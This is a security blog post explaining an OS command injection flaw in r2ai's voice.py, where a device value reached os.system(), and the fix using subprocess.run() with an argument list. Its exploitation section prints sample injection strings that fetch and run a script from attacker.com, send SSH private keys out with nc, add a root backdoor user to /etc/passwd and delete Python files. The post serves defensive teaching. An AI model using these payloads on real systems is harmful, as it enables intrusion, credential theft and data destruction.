Back to Blog
critical SEVERITY7 min read

Shell Injection via os.system(): How a Single Line of Code Can Compromise Your System

A critical OS command injection vulnerability (CWE-78) was discovered and patched in `voice.py`, where user-controlled input was interpolated directly into a shell command string passed to `os.system()`. An attacker who could influence the `device` variable — through a config file, environment variable, or any external input — could execute arbitrary system commands with the full privileges of the running process. The fix replaces the dangerous `os.system()` calls with Python's `subprocess.run()

O
By orbisai0security
May 28, 2026

Shell Injection via os.system(): How a Single Line of Code Can Compromise Your System

Introduction

It's one of the most deceptively simple mistakes in Python programming: passing a string built from external input directly to os.system(). It looks harmless. It works perfectly during development. And under the right conditions, it hands an attacker the keys to your entire system.

This post breaks down a critical OS command injection vulnerability (CWE-78) discovered in Attic/py/r2ai/voice.py, explains how it could be exploited, and walks through the clean, modern fix that eliminates the risk entirely.

Whether you're a seasoned systems programmer or just getting started with Python security, this is a pattern you'll want to recognize immediately.


The Vulnerability Explained

What Is OS Command Injection?

OS command injection — catalogued as CWE-78: Improper Neutralization of Special Elements used in an OS Command — occurs when an application constructs a shell command using data it doesn't fully control, then passes that string to a shell for execution.

The shell is a powerful interpreter. It understands metacharacters like ;, &&, |, $(), and backticks. If any of those characters sneak into your command string, the shell will happily execute whatever follows them — regardless of your intent.

The Vulnerable Code

Here's the code that triggered the critical finding:

# VULNERABLE - Do not use this pattern
os.system("rm -f .audiomsg.wav")
rc = os.system(f"ffmpeg -f avfoundation -t 5 -i '{device}' .audiomsg.wav > /dev/null 2>&1")

The device variable is interpolated directly into an f-string, which is then passed as a single shell command string to os.system(). The single quotes around '{device}' might look like protection — but they're not. A single quote in the device value itself breaks out of that quoting context entirely.

How Could It Be Exploited?

The exploitability depends on where device comes from. In an AI assistant tool like r2ai, device likely originates from:

  • A configuration file read at startup
  • An environment variable
  • User input provided during setup or runtime

If an attacker can influence any of these sources, the attack is straightforward.

Attack Scenario: Malicious Configuration File

Imagine a user downloads a shared r2ai configuration file (a common workflow in AI tooling communities). That config file sets the audio device to:

' ; curl -s https://attacker.com/payload.sh | bash ; echo '

When voice.py runs, the shell receives:

ffmpeg -f avfoundation -t 5 -i '' ; curl -s https://attacker.com/payload.sh | bash ; echo '' .audiomsg.wav > /dev/null 2>&1

The shell dutifully executes three commands:
1. ffmpeg (fails harmlessly)
2. curl ... | bashdownloads and executes arbitrary code
3. echo (cleans up the command line)

The r2ai process's output looks normal. The user sees a microphone error. Meanwhile, a reverse shell or data exfiltration script runs silently in the background.

Other Injection Payloads

The attack surface is broad. Other examples of malicious device values:

# Exfiltrate SSH keys
' && cat ~/.ssh/id_rsa | nc attacker.com 4444 && echo '

# Create a backdoor user
' ; echo "backdoor:x:0:0::/root:/bin/bash" >> /etc/passwd ; echo '

# Ransomware-style destruction
' ; find ~ -name "*.py" -delete ; echo '

Real-World Impact

The severity here is critical because:

  • No authentication required — if the attacker controls the config file or environment, they're already in
  • Full process privileges — commands run as whatever user launched r2ai
  • Silent execution — stdout and stderr are redirected to /dev/null, hiding all evidence
  • Broad attack surface — config files, env vars, and user input are all common vectors in AI tooling

The Fix

What Changed

The fix replaces both os.system() calls with safer alternatives:

Before (vulnerable):

os.system("rm -f .audiomsg.wav")
rc = os.system(f"ffmpeg -f avfoundation -t 5 -i '{device}' .audiomsg.wav > /dev/null 2>&1")

After (secure):

try:
    os.remove(".audiomsg.wav")
except OSError:
    pass

result = subprocess.run(
    ["ffmpeg", "-f", "avfoundation", "-t", "5", "-i", device, ".audiomsg.wav"],
    stdout=subprocess.DEVNULL,
    stderr=subprocess.DEVNULL
)
rc = result.returncode

Why This Fix Works

1. Arguments as a List — No Shell Involved

The most important change is passing a list of strings to subprocess.run() instead of a single command string.

When you pass a list, Python uses execvp() (or its Windows equivalent) to launch the process directly, bypassing the shell entirely. There is no shell to interpret metacharacters. The device value is passed as a literal argument to ffmpeg — nothing more, nothing less.

# Shell IS invoked — dangerous with untrusted input
os.system(f"ffmpeg ... -i '{device}' ...")

# Shell is NOT invoked — device is just a string argument
subprocess.run(["ffmpeg", ..., "-i", device, ...])

Even if device contains ;, &&, |, or any other shell metacharacter, ffmpeg receives it as a literal filename string. Injection is impossible.

2. os.remove() Replaces os.system("rm -f ...")

The rm -f .audiomsg.wav call was also replaced with os.remove() wrapped in a try/except OSError. This is:

  • Cross-platform (works on Windows, where rm doesn't exist)
  • Shell-free (no subprocess spawned at all)
  • Pythonic (uses the standard library as intended)
  • Safe (the OSError catch handles the "file doesn't exist" case that -f previously suppressed)

3. Output Redirection Done Properly

The original code used shell redirection (> /dev/null 2>&1) to suppress ffmpeg's output. The fix uses subprocess.DEVNULL, which achieves the same result without a shell:

result = subprocess.run(
    [...],
    stdout=subprocess.DEVNULL,  # Replaces > /dev/null
    stderr=subprocess.DEVNULL   # Replaces 2>&1
)

4. Return Code Handling Preserved

The fix correctly captures the return code via result.returncode, maintaining the existing error-handling logic downstream.


Prevention & Best Practices

1. Never Use os.system() with Dynamic Input

os.system() always invokes a shell. It's essentially sh -c "<your string>". Unless your entire command string is a hardcoded literal, treat it as dangerous.

# ❌ Always risky
os.system(f"some_command {user_input}")

# ✅ Safe
subprocess.run(["some_command", user_input])

2. Prefer subprocess.run() with a List

The golden rule: pass arguments as a list, never as a string (unless you explicitly need shell features and understand the risks).

# ❌ Shell string — dangerous
subprocess.run(f"ffmpeg -i {device} output.wav", shell=True)

# ✅ Argument list — safe
subprocess.run(["ffmpeg", "-i", device, "output.wav"])

If you must use shell=True, sanitize inputs with shlex.quote():

import shlex

# Acceptable when shell=True is truly necessary
safe_device = shlex.quote(device)
subprocess.run(f"ffmpeg -i {safe_device} output.wav", shell=True)

3. Validate and Sanitize External Input

Even with subprocess.run() and argument lists, validate input that comes from external sources:

import re

def validate_device(device: str) -> str:
    # Allow only expected audio device formats (e.g., "0:0", "1:0")
    if not re.match(r'^\d+:\d+$', device):
        raise ValueError(f"Invalid device format: {device!r}")
    return device

4. Apply the Principle of Least Privilege

Processes that handle external input should run with minimal permissions. If r2ai only needs microphone access, it shouldn't run as root or with write access to sensitive directories.

5. Use Static Analysis Tools

Several tools can catch this class of vulnerability automatically:

Tool Language Notes
Bandit Python Flags os.system() and shell=True usage (B605, B607)
Semgrep Multi Highly configurable, excellent Python rules
CodeQL Multi GitHub-native, catches taint-flow injection
PyLint Python General quality, some security checks

Running Bandit on the original code would have flagged this immediately:

$ bandit voice.py
>> Issue: [B605:start_process_with_a_shell] Starting a process with a shell: True
   Severity: High   Confidence: High

6. Reference Security Standards


Conclusion

A single f-string interpolation into os.system() — a pattern that appears in thousands of Python scripts across the internet — was all it took to create a critical command injection vulnerability. The fix required fewer lines than the original code and is cleaner, more Pythonic, and cross-platform.

The key takeaways:

  1. os.system() with dynamic input is almost always wrong. Use subprocess.run() with a list.
  2. Shell quoting is not a reliable defense. Characters like ' can break out of quoted contexts.
  3. Static analysis tools like Bandit catch this instantly. Add them to your CI pipeline.
  4. The fix is simple and has zero performance cost. There's no reason not to do it right.

Security vulnerabilities in developer tooling — especially AI assistants that users trust with system access — can have outsized impact. A compromised r2ai instance could exfiltrate code, credentials, or conversation history. Taking five minutes to use subprocess.run() correctly is one of the highest-ROI security investments you can make.

Write code as if every external value is malicious. Because sometimes, it is.


This vulnerability was identified and patched by OrbisAI Security. Automated security scanning and remediation helps teams catch critical issues before they reach production.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #243

Related Articles

medium

Mass Assignment Vulnerability: Why Your Rails Models Need attr_accessible

A medium-severity mass assignment vulnerability was identified in a Ruby on Rails model that lacked proper attribute whitelisting via `attr_accessible` or strong parameters. Without this protection, attackers can manipulate any model attribute through crafted HTTP requests, potentially escalating privileges or corrupting data. The fix enforces explicit attribute allowlisting, closing the door on unauthorized mass assignment exploitation.

critical

Command Injection via os.system() in DeepSpeed's Data Analyzer: A Critical Fix

A critical command injection vulnerability was discovered in DeepSpeed's `data_analyzer.py`, where an `os.system()` call directly interpolated an unsanitized file path variable into a shell command string. An attacker who could influence dataset configuration or file paths could execute arbitrary shell commands on the host machine. The fix replaces the dangerous shell invocation with safe, Python-native file operations that never touch a shell interpreter.

high

CVE-2026-40073: How a BODY_SIZE_LIMIT Bypass in @sveltejs/adapter-node Put Your App at Risk

CVE-2026-40073 is a high-severity vulnerability in `@sveltejs/adapter-node` that allows attackers to bypass the `BODY_SIZE_LIMIT` configuration, potentially enabling denial-of-service attacks and resource exhaustion against SvelteKit applications. The vulnerability was silently present in versions prior to `@sveltejs/kit` 2.57.1, and has now been patched by upgrading the dependency across all affected project examples. If your application relies on body size limits to protect against oversized p

medium

From eval() to ast.literal_eval(): Closing a Code Injection Door in Slack Data Processing

A medium-severity vulnerability was discovered in a Slack data processing component where the use of Python's built-in `eval()` function to parse error message dictionaries could allow an attacker to inject and execute arbitrary code. The fix replaces `eval()` with the safer `ast.literal_eval()`, which safely evaluates only Python literals without executing arbitrary expressions. This change eliminates a critical attack surface that could have been exploited through crafted error messages return

critical

Critical Buffer Overflow in ELF Parser: How a Missing Bounds Check Almost Became a Heap Exploit

A critical out-of-bounds memory vulnerability was discovered and patched in `utils/symbol-rawelf.c`, where two separate `memcpy` calls lacked proper bounds validation when processing ELF binary files. Without these checks, a maliciously crafted ELF file could trigger an out-of-bounds read or heap overflow, potentially leading to remote code execution or memory corruption. This post breaks down how the vulnerability works, how it was fixed, and what every C developer should know about safe memory

critical

Heap Buffer Overflow in Audio Ring Buffer: How a Missing Bounds Check Could Crash Your App

A critical heap buffer overflow vulnerability was discovered in `audio_backend.c`, where the audio ring buffer's `memcpy` operations lacked bounds validation before writing PCM data. Without checking that incoming data sizes fell within the allocated buffer's capacity, a maliciously crafted audio file could corrupt adjacent heap memory, potentially enabling arbitrary code execution. The fix adds a concise pre-flight validation guard that rejects out-of-range write requests before any memory oper